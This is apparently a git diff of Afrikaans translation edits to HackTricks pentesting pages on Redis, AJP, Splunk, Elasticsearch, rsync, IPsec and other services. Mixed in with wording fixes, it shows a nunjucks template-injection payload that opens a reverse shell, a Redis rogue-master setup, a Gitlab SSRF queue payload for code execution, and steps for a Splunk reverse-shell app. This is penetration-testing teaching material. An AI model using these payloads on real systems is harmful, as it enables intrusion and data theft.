monitor wat uitgevoer word met Vind meer interessante inligting oor meer Redis-opdragte hier: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) -### **Databasis Dump** +### **Databasis Dumping** -Binne Redis is die **databasisse nommers wat begin by 0**. Jy kan vind of enige gebruik word in die uitvoer van die opdrag `info` binne die "Keyspace" stuk: +Binne Redis is die **databasisse nommers wat vanaf 0 begin**. Jy kan vind of enige gebruik word in die uitvoer van die opdrag `info` binne die "Keyspace" stuk: ![](<../images/image (766).png>) @@ -138,9 +138,9 @@ As die webshell toegang uitsondering, kan jy die databasis leegmaak na 'n rugste ### Sjabloon Webshell -Soos in die vorige afdeling kan jy ook 'n paar html-sjabloonlêers oorskryf wat deur 'n sjabloon enjin geïnterpreteer gaan word en 'n shell verkry. +Soos in die vorige afdeling kan jy ook 'n paar html-sjabloonlêers oorskryf wat deur 'n sjabloon-enjin geïnterpreteer gaan word en 'n shell verkry. -Byvoorbeeld, volg [**hierdie skrywe**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), jy kan sien dat die aanvaller 'n **rev shell in 'n html** geïnterpreteer deur die **nunjucks sjabloon enjin** ingespuit het: +Byvoorbeeld, volg [**hierdie skrywe**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), jy kan sien dat die aanvaller 'n **rev shell in 'n html** geïnterpreteer deur die **nunjucks sjabloon-enjin** ingespuit het: ```javascript {{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), @@ -155,7 +155,7 @@ sh.stderr.pipe(client); )()}} ``` > [!WARNING] -> Let daarop dat **verskeie sjabloon enjin** die sjablone in **geheue** kas, so selfs al oorskryf jy hulle, sal die nuwe een **nie uitgevoer word** nie. In hierdie gevalle het die ontwikkelaar of die outomatiese herlaai aktief gelaat of jy moet 'n DoS oor die diens doen (en verwag dat dit outomaties herlaai sal word). +> Let daarop dat **verskeie sjabloon enjin** die sjablone in **geheue** kas, so selfs al oorskryf jy hulle, sal die nuwe een **nie uitgevoer word nie**. In hierdie gevalle het die ontwikkelaar of die outomatiese herlaai aktief gelaat of jy moet 'n DoS oor die diens doen (en verwag dat dit outomaties herbegin sal word). ### SSH @@ -217,7 +217,7 @@ Hierdie metode kan ook gebruik word om bitcoin te verdien :[yam](https://www.v ### LUA sandbox omseiling -[**Hier**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) kan jy sien dat Redis die opdrag **EVAL** gebruik om **Lua kode in 'n sandbox** uit te voer. In die gekoppelde pos kan jy sien **hoe om dit te misbruik** met die **dofile** funksie, maar [klaarblyklik](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) is dit nie meer moontlik nie. Hoe dit ook al sy, as jy die **Lua** sandbox kan **omseil**, kan jy **arbitrêre** opdragte op die stelsel uitvoer. Ook, uit dieselfde pos kan jy 'n paar **opsies sien om DoS te veroorsaak**. +[**Hier**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) kan jy sien dat Redis die opdrag **EVAL** gebruik om **Lua kode in 'n sandbox** uit te voer. In die gekoppelde pos kan jy sien **hoe om dit te misbruik** met die **dofile** funksie, maar [klaarblyklik](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) is dit nie meer moontlik nie. Hoe dit ook al sy, as jy die **Lua** sandbox kan **omseil** kan jy **arbitrêre** opdragte op die stelsel uitvoer. Ook, uit dieselfde pos kan jy 'n paar **opsies sien om DoS te veroorsaak**. Sommige **CVEs om uit LUA te ontsnap**: @@ -225,7 +225,7 @@ Sommige **CVEs om uit LUA te ontsnap**: ### Meester-Slaaf Module -Die meester redis alle operasies word outomaties gesinkroniseer na die slaaf redis, wat beteken dat ons die kwesbaarheid redis as 'n slaaf redis kan beskou, wat aan die meester redis gekoppel is wat ons eie beheer, dan kan ons die opdrag na ons eie redis invoer. +Die meester redis alle operasies word outomaties gesinkroniseer na die slaaf redis, wat beteken dat ons die kwesbaarheid redis as 'n slaaf redis kan beskou, gekoppel aan die meester redis wat ons eie beheer is, dan kan ons die opdragte na ons eie redis invoer. ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) @@ -237,7 +237,7 @@ redis-cli -h 10.85.0.51 -p 6379 set mykey hello set mykey2 helloworld ``` -## SSRF wat met Redis praat +## SSRF praat met Redis As jy **duidelike teks** versoeke **na Redis** kan stuur, kan jy **met dit kommunikeer** aangesien Redis die versoek lyn vir lyn sal lees en net met foute op die lyne sal antwoordgee wat dit nie verstaan nie: ``` @@ -255,7 +255,7 @@ Daarom, as jy 'n **SSRF vuln** in 'n webwerf vind en jy kan **beheer** oor sommi In **Gitlab11.4.7** is 'n **SSRF** kwesbaarheid en 'n **CRLF** ontdek. Die **SSRF** kwesbaarheid was in die **import project from URL functionality** wanneer 'n nuwe projek geskep word en het toegang tot arbitrêre IP's in die vorm \[0:0:0:0:0:ffff:127.0.0.1] toegelaat (dit sal 127.0.0.1 benader), en die **CRLF** vuln is net **deur %0D%0A** karakters by die **URL** te voeg, uitgebuit. -Daarom was dit moontlik om **hierdie kwesbaarhede te misbruik om met die Redis-instansie te praat** wat **queues** van **gitlab** bestuur en daardie queues te misbruik om **kode-uitvoering te verkry**. Die Redis queue misbruik payload is: +Daarom was dit moontlik om **hierdie kwesbaarhede te misbruik om met die Redis instansie te praat** wat **queues** van **gitlab** bestuur en daardie queues te misbruik om **kode-uitvoering te verkry**. Die Redis queue misbruik payload is: ``` multi sadd resque:gitlab:queues system_hook_push diff --git a/src/network-services-pentesting/69-udp-tftp.md b/src/network-services-pentesting/69-udp-tftp.md index 9dd898fe0..34803e9c5 100644 --- a/src/network-services-pentesting/69-udp-tftp.md +++ b/src/network-services-pentesting/69-udp-tftp.md @@ -2,7 +2,7 @@ # Basiese Inligting -**Triviale Lêer Oordrag Protokol (TFTP)** is 'n eenvoudige protokol wat op **UDP-poort 69** gebruik word en lêeroordragte moontlik maak sonder om verifikasie te benodig. Dit word beklemtoon in **RFC 1350**, en sy eenvoud beteken dat dit belangrike sekuriteitskenmerke ontbreek, wat lei tot beperkte gebruik op die openbare Internet. Tog word **TFTP** uitgebreid gebruik binne groot interne netwerke vir die verspreiding van **konfigurasielêers** en **ROM-beelde** na toestelle soos **VoIP-handsets**, danksy sy doeltreffendheid in hierdie spesifieke scenario's. +**Triviale Lêer Oordrag Protokol (TFTP)** is 'n eenvoudige protokol wat op **UDP-poort 69** gebruik word en lêeroordragte moontlik maak sonder om verifikasie te benodig. Dit word beklemtoon in **RFC 1350**, en sy eenvoud beteken dat dit belangrike sekuriteitskenmerke ontbreek, wat lei tot beperkte gebruik op die openbare Internet. Nietemin, **TFTP** word uitgebreid gebruik binne groot interne netwerke vir die verspreiding van **konfigurasielêers** en **ROM-beelde** na toestelle soos **VoIP-handsets**, danksy sy doeltreffendheid in hierdie spesifieke scenario's. **TODO**: Verskaf inligting oor wat 'n Bittorrent-tracker is (Shodan identifiseer hierdie poort met daardie naam). As jy meer inligting hieroor het, laat weet ons asseblief, byvoorbeeld in die [**HackTricks telegramgroep**](https://t.me/peass) (of in 'n github-kwessie in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)). diff --git a/src/network-services-pentesting/700-pentesting-epp.md b/src/network-services-pentesting/700-pentesting-epp.md index ebe3a57ff..a4f87d5f6 100644 --- a/src/network-services-pentesting/700-pentesting-epp.md +++ b/src/network-services-pentesting/700-pentesting-epp.md @@ -4,12 +4,12 @@ ## Basiese Inligting -Die Extensible Provisioning Protocol (EPP) is 'n netwerkprotokol wat gebruik word vir die **bestuur van domeinnames en ander internetbronne** deur domeinnaam registrasies en registrars. Dit stel die outomatisering van domeinnaamregistrasie, hernuwing, oordrag en verwydering prosesse in staat, wat 'n gestandaardiseerde en veilige kommunikasiekader tussen verskillende entiteite in die domeinnaamstelsel (DNS) verseker. EPP is ontwerp om buigsaam en uitbreidbaar te wees, wat die toevoeging van nuwe kenmerke en opdragte moontlik maak soos die behoeftes van die internetinfrastruktuur ontwikkel. +Die Extensible Provisioning Protocol (EPP) is 'n netwerkprotokol wat gebruik word vir die **bestuur van domeinnames en ander internetbronne** deur domeinnaam registrasies en registrars. Dit stel die outomatisering van domeinnaamregistrasie, hernuwing, oordrag en verwyderingsprosesse in staat, wat 'n gestandaardiseerde en veilige kommunikasiekader tussen verskillende entiteite in die domeinnaamstelsel (DNS) verseker. EPP is ontwerp om buigsaam en uitbreidbaar te wees, wat die toevoeging van nuwe kenmerke en opdragte moontlik maak soos die behoeftes van die internetinfrastruktuur ontwikkel. -Basies, dit is een van die protokolle wat 'n **TLD registrar gaan aanbied aan domeinregistrars** om nuwe domeine in die TLD te registreer. +Basies, dit is een van die protokolle wat 'n **TLD-registrar gaan aanbied aan domeinregistrars** om nuwe domeine in die TLD te registreer. ### Pentest -[**In hierdie baie interessante artikel**](https://hackcompute.com/hacking-epp-servers/) kan jy sien hoe sommige sekuriteitsnavorsers verskeie **implementasies van hierdie protokol** gevind het wat kwesbaar was vir XXE (XML External Entity) aangesien hierdie protokol XML gebruik om te kommunikeer, wat aanvallers sou toegelaat het om oor te neem tensy verskillende TLDs. +[**In hierdie baie interessante artikel**](https://hackcompute.com/hacking-epp-servers/) kan jy sien hoe sommige sekuriteitsnavorsers verskeie **implementasies van hierdie protokol** gevind het wat kwesbaar was vir XXE (XML External Entity) aangesien hierdie protokol XML gebruik om te kommunikeer, wat aanvallers sou toegelaat het om tientalle verskillende TLD's oor te neem. {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md index 3ae108bf7..9b630603d 100644 --- a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md +++ b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md @@ -10,7 +10,7 @@ From [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https:/ Ook interessant: -> Die ajp13-protokol is pakket-georiënteerd. 'n Binaire formaat is vermoedelik gekies bo die meer leesbare platte teks om redes van prestasie. Die webbediener kommunikeer met die servlet-container oor TCP-verbindinge. Om die duur proses van sokket-skepping te verminder, sal die webbediener probeer om volhoubare TCP-verbindinge met die servlet-container te handhaaf, en om 'n verbinding vir verskeie versoek/antwoord siklusse te hergebruik. +> Die ajp13-protokol is pakket-georiënteerd. 'n Binaire formaat is vermoedelik gekies bo die meer leesbare gewone teks om redes van prestasie. Die webbediener kommunikeer met die servlet-container oor TCP-verbindinge. Om die duur proses van sokket-skepping te verminder, sal die webbediener probeer om volhoubare TCP-verbindinge met die servlet-container te handhaaf, en om 'n verbinding vir meerdere versoek/antwoord siklusse te hergebruik. **Standaard poort:** 8009 ``` @@ -19,7 +19,7 @@ PORT STATE SERVICE ``` ## CVE-2020-1938 ['Ghostcat'](https://www.chaitin.cn/en/ghostcat) -Dit is 'n LFI kwesbaarheid wat dit moontlik maak om sekere lêers soos `WEB-INF/web.xml` te verkry wat akrediteer. Dit is 'n [exploit](https://www.exploit-db.com/exploits/48143) om die kwesbaarheid te misbruik en AJP blootgestelde poorte mag kwesbaar wees daarvoor. +Dit is 'n LFI kwesbaarheid wat dit moontlik maak om sekere lêers soos `WEB-INF/web.xml` te verkry wat akrediteerdata bevat. Dit is 'n [exploit](https://www.exploit-db.com/exploits/48143) om die kwesbaarheid te misbruik en AJP blootgestelde poorte mag kwesbaar wees daarvoor. Die gepatchte weergawes is op of bo 9.0.31, 8.5.51, en 7.0.100. @@ -37,7 +37,7 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 ([Kyk na die Dockerized weergawe](8009-pentesting-apache-jserv-protocol-ajp.md#Dockerized-version)) -Dit is moontlik om te kommunikeer met 'n oop AJP proxy poort (8009 TCP) deur die Nginx `ajp_module` apache module te gebruik en toegang te verkry tot die Tomat Bestuurder vanaf hierdie poort, wat uiteindelik kan lei tot RCE in die kwesbare bediener. +Dit is moontlik om te kommunikeer met 'n oop AJP proxy poort (8009 TCP) deur die Nginx `ajp_module` apache module te gebruik en toegang te verkry tot die Tomcat Bestuurder vanaf hierdie poort, wat uiteindelik kan lei tot RCE in die kwesbare bediener. - Begin om Nginx af te laai van [https://nginx.org/en/download.html](https://nginx.org/en/download.html) en compileer dit dan met die ajp module: ```bash diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md index 5fe708126..33b8955be 100644 --- a/src/network-services-pentesting/8086-pentesting-influxdb.md +++ b/src/network-services-pentesting/8086-pentesting-influxdb.md @@ -12,13 +12,13 @@ PORT STATE SERVICE VERSION 8086/tcp open http InfluxDB http admin 1.7.5 ``` -## Opname +## Enumerasie -Vanuit 'n pentester se oogpunt is dit 'n ander databasis wat sensitiewe inligting kan stoor, so dit is interessant om te weet hoe om al die inligting te dump. +Van 'n pentester se oogpunt is dit 'n ander databasis wat sensitiewe inligting kan stoor, so dit is interessant om te weet hoe om al die inligting te dump. -### Outentisering +### Verifikasie -InfluxDB mag outentisering vereis of nie +InfluxDB mag verifikasie vereis of nie ```bash # Try unauthenticated influx -host 'host name' -port 'port #' diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index 339eb5494..423015ecf 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -15,7 +15,7 @@ 1. Gratis Weergawe Exploitatie - Proefweergawe omskakel outomaties na gratis weergawe na 60 dae -- Gratis weergawe ontbreek outentisering +- Gratis weergawe het nie outentisering nie - Potensiële sekuriteitsrisiko as dit onbeheerd gelaat word - Administrateurs mag sekuriteitsimplikasies oor die hoof sien @@ -31,12 +31,12 @@ - Bediener-kant Django toepassings - REST eindpunte - Geskrifte insette -- Waarskuwing geskrifte +- Waarskuwing skrifte - Kruis-platform ondersteuning (Windows/Linux) - Geskrifte insette kan loop: -- Bash geskrifte -- PowerShell geskrifte -- Batch geskrifte +- Bash skrifte +- PowerShell skrifte +- Batch skrifte Sleutel Exploitatie Potensiaal: @@ -55,7 +55,7 @@ Sleutel Exploitatie Potensiaal: Splunk bied 'n gesofistikeerde metode vir afgeleë kode uitvoering deur middel van aangepaste toepassingsontplooiing, wat sy kruis-platform skripting vermoëns benut. Die kern exploitatie tegniek draai om die skep van 'n kwaadwillige toepassing wat omgekeerde skale op beide Windows en Linux stelsels kan uitvoer. -'n Aangepaste toepassing kan **Python, Batch, Bash, of PowerShell geskrifte** uitvoer. Boonop, **Splunk kom met Python geïnstalleer**, so selfs in **Windows** stelsels sal jy in staat wees om python kode uit te voer. +'n Aangepaste toepassing kan **Python, Batch, Bash, of PowerShell skrifte** uitvoer. Boonop, **Splunk kom met Python geïnstalleer**, so selfs in **Windows** stelsels sal jy in staat wees om python kode uit te voer. Jy kan [**hierdie**](https://github.com/0xjpuff/reverse_shell_splunk) voorbeeld gebruik met die **`bin`** wat 'n voorbeeld bevat vir [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) en [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Of jy kan jou eie skep. @@ -74,9 +74,9 @@ Die kritieke konfigurasie lêer `inputs.conf` aktiveer die skrip deur: Ontplooiing is eenvoudig: 1. Skep die kwaadwillige toepassingspakket -2. Stel 'n luisteraar (Netcat/socat) op die aanvalmasjien in +2. Stel 'n luisteraar (Netcat/socat) op die aanvalmasjien op 3. Laai die toepassing op deur Splunk se koppelvlak -4. Trigger outomatiese skripuitvoering by opgelaai +4. Trigger outomatiese skripuitvoering by oplaai Voorbeeld Windows PowerShell omgekeerde skulp: ```powershell diff --git a/src/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md b/src/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md index 0436c08ae..c98880599 100644 --- a/src/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md +++ b/src/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md @@ -19,9 +19,9 @@ PORT STATE SERVICE - `port:8333 bitcoin` - `User-Agent: /Satoshi` -## Opname +## Enumerasie -Bitcoin-knope sal vir jou 'n paar inligting gee as hulle dink dat jy 'n ander geldige bitcoin-knoop is. **Nmap** het 'n paar skrifte om hierdie inligting te onttrek: +Bitcoin-knope sal vir jou 'n paar inligting gee as hulle dink jy is 'n ander geldige bitcoin-knoop. **Nmap** het 'n paar skrifte om hierdie inligting te onttrek: ``` sudo nmap -p 8333 --script bitcoin-info --script bitcoin-getaddr 170.39.103.39 PORT STATE SERVICE diff --git a/src/network-services-pentesting/873-pentesting-rsync.md b/src/network-services-pentesting/873-pentesting-rsync.md index be1948710..5b6654a03 100644 --- a/src/network-services-pentesting/873-pentesting-rsync.md +++ b/src/network-services-pentesting/873-pentesting-rsync.md @@ -39,7 +39,7 @@ raidroot ``` ### **Opname van Gedeelde Mappe** -**Rsync modules** word erken as **gedeelde gidse** wat moontlik **met wagwoorde beskerm word**. Om beskikbare modules te identifiseer en te kyk of hulle wagwoorde benodig, word die volgende opdragte gebruik: +**Rsync modules** word erken as **gedeelde gidse** wat moontlik **met wagwoorde beskerm** is. Om beskikbare modules te identifiseer en te kyk of hulle wagwoorde benodig, word die volgende opdragte gebruik: ```bash nmap -sV --script "rsync-list-modules" -p msf> use auxiliary/scanner/rsync/modules_list @@ -47,7 +47,7 @@ msf> use auxiliary/scanner/rsync/modules_list # Example with IPv6 and alternate port rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730 ``` -Wees bewus dat sommige gedeeltes dalk nie in die lys verskyn nie, wat hulle moontlik verberg. Boonop kan toegang tot sommige gedeeltes beperk wees tot spesifieke **akkrediteer** wat aangedui word deur 'n **"Toegang Weier"** boodskap. +Wees bewus dat sommige gedeeltes dalk nie in die lys verskyn nie, wat hulle moontlik verberg. Daarbenewens kan toegang tot sommige gedeeltes beperk wees tot spesifieke **akkrediteer** wat aangedui word deur 'n **"Toegang Weier"** boodskap. ### [**Brute Force**](../generic-hacking/brute-force.md#rsync) @@ -63,7 +63,7 @@ rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared ``` Hierdie proses **herhalend oordra lêers**, terwyl hulle se attributes en toestemmings behou word. -Met **akkrediteerbare inligting**, kan lys en aflaai van 'n gedeelde gids soos volg gedoen word, waar 'n wagwoordprompt sal verskyn: +Met **akkrediteeringe** kan lys en aflaai van 'n gedeelde gids soos volg gedoen word, waar 'n wagwoordprompt sal verskyn: ```bash rsync -av --list-only rsync://username@192.168.0.123/shared_name rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared diff --git a/src/network-services-pentesting/9001-pentesting-hsqldb.md b/src/network-services-pentesting/9001-pentesting-hsqldb.md index c58e1e426..fe7bf139f 100644 --- a/src/network-services-pentesting/9001-pentesting-hsqldb.md +++ b/src/network-services-pentesting/9001-pentesting-hsqldb.md @@ -14,9 +14,9 @@ Let daarop dat hierdie diens waarskynlik standaard in geheue loop of aan localhost gekoppel is. As jy dit gevind het, het jy waarskynlik 'n ander diens uitgebuit en soek jy om bevoegdhede te verhoog. -Standaard akredensiale is gewoonlik `sa` met 'n leë wagwoord. +Standaard geloofsbriewe is gewoonlik `sa` met 'n leë wagwoord. -As jy 'n ander diens uitgebuit het, soek na moontlike akredensiale met behulp van +As jy 'n ander diens uitgebuit het, soek na moontlike geloofsbriewe met behulp van ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` @@ -24,11 +24,11 @@ Let wel op die databasisnaam - jy sal dit nodig hê om te verbind. # Inligting Versameling -Verbind met die DB-instansie deur [HSQLDB af te laai](https://sourceforge.net/projects/hsqldb/files/) en `hsqldb/lib/hsqldb.jar` uit te pak. Voer die GUI-toepassing \(eww\) uit met `java -jar hsqldb.jar` en verbind met die instansie met die ontdekte/zwakke geloofsbriewe. +Verbind met die DB-instantie deur [HSQLDB af te laai](https://sourceforge.net/projects/hsqldb/files/) en `hsqldb/lib/hsqldb.jar` uit te pak. Voer die GUI-toepassing \(eww\) uit met `java -jar hsqldb.jar` en verbind met die instantie met die ontdekte/ swak geloofsbriewe. Let daarop dat die verbindings-URL iets soos hierdie vir 'n afstandstelsel sal lyk: `jdbc:hsqldb:hsql://ip/DBNAME`. -# Truuks +# Tricks ## Java Taal Routines diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index da1c3c4db..4d7ab76b4 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -24,7 +24,7 @@ Die protokol wat gebruik word om toegang tot Elasticsearch te verkry is **HTTP** ![](<../images/image (294).png>) -As jy daardie antwoord nie sien nie wanneer jy toegang tot `/` verkry nie, sien die volgende afdeling. +As jy daardie antwoord nie sien nie wanneer jy toegang tot `/` verkry, sien die volgende afdeling. ### Verifikasie @@ -93,7 +93,7 @@ In `/_security/user` (as outentisering geaktiveer is) kan jy sien watter gebruik ### Indices -Jy kan **alle indekse versamel** deur `http://10.10.10.115:9200/_cat/indices?v` te benader. +Jy kan **alle indekse versamel** deur toegang te verkry tot `http://10.10.10.115:9200/_cat/indices?v` ``` health status index uuid pri rep docs.count docs.deleted store.size pri.store.size green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb @@ -112,7 +112,7 @@ As jy **alle inhoud** van 'n indeks wil **dump**, kan jy toegang verkry tot: `ht _Neem 'n oomblik om die inhoud van elke dokument (inskrywing) binne die bankindeks en die velde van hierdie indeks wat ons in die vorige afdeling gesien het, te vergelyk._ -So, op hierdie punt mag jy opgemerk het dat **daar 'n veld genaamd "total" binne "hits" is** wat aandui dat **1000 dokumente gevind is** binne hierdie indeks, maar slegs 10 is teruggetrek. Dit is omdat **daar per standaard 'n limiet van 10 dokumente is**.\ +So, op hierdie punt mag jy opgemerk het dat **daar 'n veld genaamd "total" binne "hits" is** wat aandui dat **1000 dokumente gevind is** binne hierdie indeks, maar slegs 10 is teruggehaal. Dit is omdat **daar per standaard 'n limiet van 10 dokumente is**.\ Maar, nou dat jy weet dat **hierdie indeks 1000 dokumente bevat**, kan jy **almal dump** deur die aantal inskrywings wat jy wil dump in die **`size`** parameter aan te dui: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ \&#xNAN;_Let wel: As jy 'n groter getal aandui, sal al die inskrywings steeds gedump word, byvoorbeeld jy kan `size=9999` aandui en dit sal vreemd wees as daar meer inskrywings was (maar jy moet dit nagaan)._ @@ -127,7 +127,7 @@ As jy op soek is na inligting kan jy 'n **rauwe soektog op al die indekse** doen ![](<../images/image (335).png>) -As jy net op 'n indeks wil **soek**, kan jy dit eenvoudig op die **pad** spesifiseer: `http://host:9200//_search?pretty=true&q=` +As jy net op 'n indeks wil **soek**, kan jy dit eenvoudig **specifiseer** op die **pad**: `http://host:9200//_search?pretty=true&q=` _Let daarop dat die q parameter wat gebruik word om inhoud te soek **reguliere uitdrukkings ondersteun**_ @@ -155,7 +155,7 @@ En let op die **automaties geskepte eienskappe**: ![](<../images/image (434).png>) -## Outomatiese Enumerasie +## Automatiese Enumerasie Sommige gereedskap sal 'n paar van die data wat voorheen aangebied is, verkry: ```bash diff --git a/src/network-services-pentesting/cassandra.md b/src/network-services-pentesting/cassandra.md index 7c89c3df9..7f70ad27b 100644 --- a/src/network-services-pentesting/cassandra.md +++ b/src/network-services-pentesting/cassandra.md @@ -6,7 +6,7 @@ **Apache Cassandra** is 'n **hooglikbare**, **hoëprestasie** verspreide databasis wat ontwerp is om **groot hoeveelhede data** oor baie **kommoditeitsbedieners** te hanteer, wat **hoë beskikbaarheid** bied sonder 'n **enkele punt van mislukking**. Dit is 'n tipe **NoSQL-databasis**. -In verskeie gevalle mag jy vind dat Cassandra **enige geloofsbriewe** aanvaar (aangesien daar geen geconfigureer is nie) en dit kan potensieel 'n aanvaller toelaat om die databasis te **enumerate**. +In verskeie gevalle mag jy vind dat Cassandra **enige geloofsbriewe** aanvaar (aangesien daar geen geconfigureer is nie) en dit kan moontlik 'n aanvaller toelaat om die databasis te **op te som**. **Standaard poort:** 9042,9160 ``` diff --git a/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md b/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md index 974dbe55d..090776e3d 100644 --- a/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md +++ b/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md @@ -4,9 +4,9 @@ ## Basiese Inligting -**IPsec** is wyd erken as die hooftegnologie vir die beveiliging van kommunikasie tussen netwerke (LAN-to-LAN) en van afgeleë gebruikers na die netwerkpoort (afgeleë toegang), wat dien as die ruggraat vir ondernemings VPN-oplossings. +**IPsec** is wyd erken as die hooftegnologie vir die beveiliging van kommunikasie tussen netwerke (LAN-to-LAN) en van afstandgebruikers na die netwerkpoort (afstands toegang), wat as die ruggraat vir ondernemings VPN-oplossings dien. -Die totstandkoming van 'n **veiligheidsassosiasie (SA)** tussen twee punte word bestuur deur **IKE**, wat onder die vaandel van ISAKMP werk, 'n protokol wat ontwerp is vir die verifikasie en sleuteluitruiling. Hierdie proses ontvou in verskeie fases: +Die vestiging van 'n **veiligheidsassosiasie (SA)** tussen twee punte word bestuur deur **IKE**, wat onder die vaandel van ISAKMP werk, 'n protokol wat ontwerp is vir die verifikasie en sleuteluitruiling. Hierdie proses ontvou in verskeie fases: - **Fase 1:** 'n Veilige kanaal word geskep tussen twee eindpunte. Dit word bereik deur die gebruik van 'n Pre-Shared Key (PSK) of sertifikate, wat of hoofmodus gebruik, wat drie pare boodskappe behels, of **aggressiewe modus**. - **Fase 1.5:** Alhoewel nie verpligtend nie, verifieer hierdie fase, bekend as die Uitgebreide Verifikasiefase, die identiteit van die gebruiker wat probeer om te verbind deur 'n gebruikersnaam en wagwoord te vereis. @@ -26,7 +26,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) ``` ## **Vind 'n geldige transformasie** -Die IPSec-konfigurasie kan slegs voorberei word om een of 'n paar transformasies te aanvaar. 'n Transformasie is 'n kombinasie van waardes. **Elke transformasie** bevat 'n aantal eienskappe soos DES of 3DES as die **versleuteling algoritme**, SHA of MD5 as die **integriteit algoritme**, 'n vooraf gedeelde sleutel as die **authentikasie tipe**, Diffie-Hellman 1 of 2 as die sleutel **verspreiding algoritme** en 28800 sekondes as die **leeftyd**. +Die IPSec-konfigurasie kan voorberei word om slegs een of 'n paar transformasies te aanvaar. 'n Transformasie is 'n kombinasie van waardes. **Elke transformasie** bevat 'n aantal eienskappe soos DES of 3DES as die **versleuteling algoritme**, SHA of MD5 as die **integriteit algoritme**, 'n vooraf gedeelde sleutel as die **authentikasie tipe**, Diffie-Hellman 1 of 2 as die sleutel **verspreiding algoritme** en 28800 sekondes as die **leeftyd**. Dan is die eerste ding wat jy moet doen om **'n geldige transformasie te vind**, sodat die bediener met jou kan praat. Om dit te doen, kan jy die hulpmiddel **ike-scan** gebruik. Standaard werk Ike-scan in hoofmodus en stuur 'n pakket na die poort met 'n ISAKMP-kop en 'n enkele voorstel met **agt transformasies daarin**. @@ -41,12 +41,12 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify ``` -Soos wat jy in die vorige antwoord kan sien, is daar 'n veld genaamd **AUTH** met die waarde **PSK**. Dit beteken dat die vpn geconfigureer is met 'n voorgedeelde sleutel (en dit is regtig goed vir 'n pentester).\ +Soos jy in die vorige antwoord kan sien, is daar 'n veld genaamd **AUTH** met die waarde **PSK**. Dit beteken dat die vpn geconfigureer is met 'n vooraf gedeelde sleutel (en dit is regtig goed vir 'n pentester).\ **Die waarde van die laaste lyn is ook baie belangrik:** -- _0 teruggegee handshake; 0 teruggegee notify:_ Dit beteken die teiken is **nie 'n IPsec gateway nie**. -- _**1 teruggegee handshake; 0 teruggegee notify:**_ Dit beteken die **teiken is geconfigureer vir IPsec en is bereid om IKE onderhandeling te voer, en een of meer van die transformasies wat jy voorgestel het, is aanvaarbaar** (n geldige transformasie sal in die uitvoer gewys word). -- _0 teruggegee handshake; 1 teruggegee notify:_ VPN gateways reageer met 'n notify boodskap wanneer **geen van die transformasies aanvaarbaar is nie** (alhoewel sommige gateways nie, in welke geval verdere analise en 'n hersiene voorstel probeer moet word). +- _0 teruggekeer handshake; 0 teruggekeer kennisgewing:_ Dit beteken die teiken is **nie 'n IPsec gateway nie**. +- _**1 teruggekeer handshake; 0 teruggekeer kennisgewing:**_ Dit beteken die **teiken is geconfigureer vir IPsec en is bereid om IKE onderhandeling te voer, en een of meer van die transformasies wat jy voorgestel het, is aanvaarbaar** (n geldige transformasie sal in die uitvoer gewys word). +- _0 teruggekeer handshake; 1 teruggekeer kennisgewing:_ VPN gateways reageer met 'n kennisgewing boodskap wanneer **geen van die transformasies aanvaarbaar is nie** (alhoewel sommige gateways nie, in welke geval verdere analise en 'n hersiene voorstel probeer moet word). Dan, in hierdie geval het ons reeds 'n geldige transformasie, maar as jy in die 3de geval is, moet jy **'n bietjie brute-force om 'n geldige transformasie te vind:** @@ -77,11 +77,11 @@ Cisco dui aan om DH groepe 1 en 2 te vermy omdat hulle nie sterk genoeg is nie. ### Bediener vingerafdruk -Dan kan jy ike-scan gebruik om te probeer om die 